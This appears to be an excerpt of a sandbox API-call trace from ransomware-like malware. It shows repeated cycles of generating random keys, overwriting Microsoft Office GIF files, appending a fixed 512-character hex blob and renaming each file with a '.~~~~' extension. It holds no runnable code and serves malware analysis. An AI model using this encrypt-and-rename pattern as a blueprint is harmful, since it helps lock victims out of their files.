	[0129.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.727] GetLastError () returned 0x0
	[0129.727] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.729] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.729] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24971898317) returned 1
	[0129.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6c48af0, dwHighDateTime=0x1d60e1e)) 
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28226f0
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28226f0 | out: hHeap=0x300000) returned 1
	[0129.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1988
	[0129.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.730] GetLastError () returned 0x0
	[0129.730] GetLastError () returned 0x0
	[0129.730] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.730] GetLastError () returned 0x0
	[0129.730] GetLastError () returned 0x0
	[0129.733] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.733] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x384, lpOverlapped=0x0) returned 1
	[0129.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.735] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.735] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.735] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.735] CloseHandle (hObject=0x138) returned 1
	[0129.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif.~~~~")) returned 1
	[0129.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.738] GetLastError () returned 0x0
	[0129.791] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.792] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.792] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.793] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24978268716) returned 1
	[0129.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6ce1070, dwHighDateTime=0x1d60e1e)) 
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822798
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822798 | out: hHeap=0x300000) returned 1
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1a20
	[0129.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.793] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.794] GetLastError () returned 0x0
	[0129.794] GetLastError () returned 0x0
	[0129.794] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.794] GetLastError () returned 0x0
	[0129.794] GetLastError () returned 0x0
	[0129.797] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffec4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.797] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x13c, lpOverlapped=0x0) returned 1
	[0129.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.800] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.801] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.801] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.801] CloseHandle (hObject=0x11c) returned 1
	[0129.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif.~~~~")) returned 1
	[0129.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.869] GetLastError () returned 0x0
	[0129.899] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.900] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.900] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.900] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24989275312) returned 1
	[0129.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6deba10, dwHighDateTime=0x1d60e1e)) 
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a29178
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a29178 | out: hHeap=0x300000) returned 1
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0129.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1ab8
	[0129.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.904] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.904] GetLastError () returned 0x0
	[0129.904] GetLastError () returned 0x0
	[0129.904] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.904] GetLastError () returned 0x0
	[0129.904] GetLastError () returned 0x0
	[0129.908] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffd29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.908] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2d7, lpOverlapped=0x0) returned 1
	[0129.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.911] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.911] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.911] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.911] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.911] CloseHandle (hObject=0x13c) returned 1
	[0129.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f05b0
	[0129.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif.~~~~")) returned 1
	[0129.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.931] GetLastError () returned 0x0
	[0129.960] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.961] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.962] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0129.962] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24995192207) returned 1
	[0129.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6e83f90, dwHighDateTime=0x1d60e1e)) 
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2a1e0
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2a1e0 | out: hHeap=0x300000) returned 1
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3b30
	[0129.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1d18
	[0129.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0129.962] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.963] GetLastError () returned 0x0
	[0129.963] GetLastError () returned 0x0
	[0129.963] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.963] GetLastError () returned 0x0
	[0129.963] GetLastError () returned 0x0
	[0129.964] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.964] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1a7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1a7, lpOverlapped=0x0) returned 1
	[0129.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.967] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.967] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.967] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.967] CloseHandle (hObject=0x140) returned 1
	[0129.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3b30
	[0129.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif.~~~~")) returned 1
	[0129.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0129.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0129.978] GetLastError () returned 0x0
	[0130.008] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.009] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.009] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.009] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24999933830) returned 1
	[0130.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6ef63b0, dwHighDateTime=0x1d60e1e)) 
	[0130.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2b1d8
	[0130.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2b1d8 | out: hHeap=0x300000) returned 1
	[0130.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x286e998
	[0130.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e998 | out: hHeap=0x300000) returned 1
	[0130.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1f78
	[0130.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.010] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.010] GetLastError () returned 0x0
	[0130.011] GetLastError () returned 0x0
	[0130.011] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.011] GetLastError () returned 0x0
	[0130.011] GetLastError () returned 0x0
	[0130.014] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffebd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.014] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x143, lpOverlapped=0x0) returned 1
	[0130.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.017] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.017] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.017] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.017] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.018] CloseHandle (hObject=0x11c) returned 1
	[0130.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
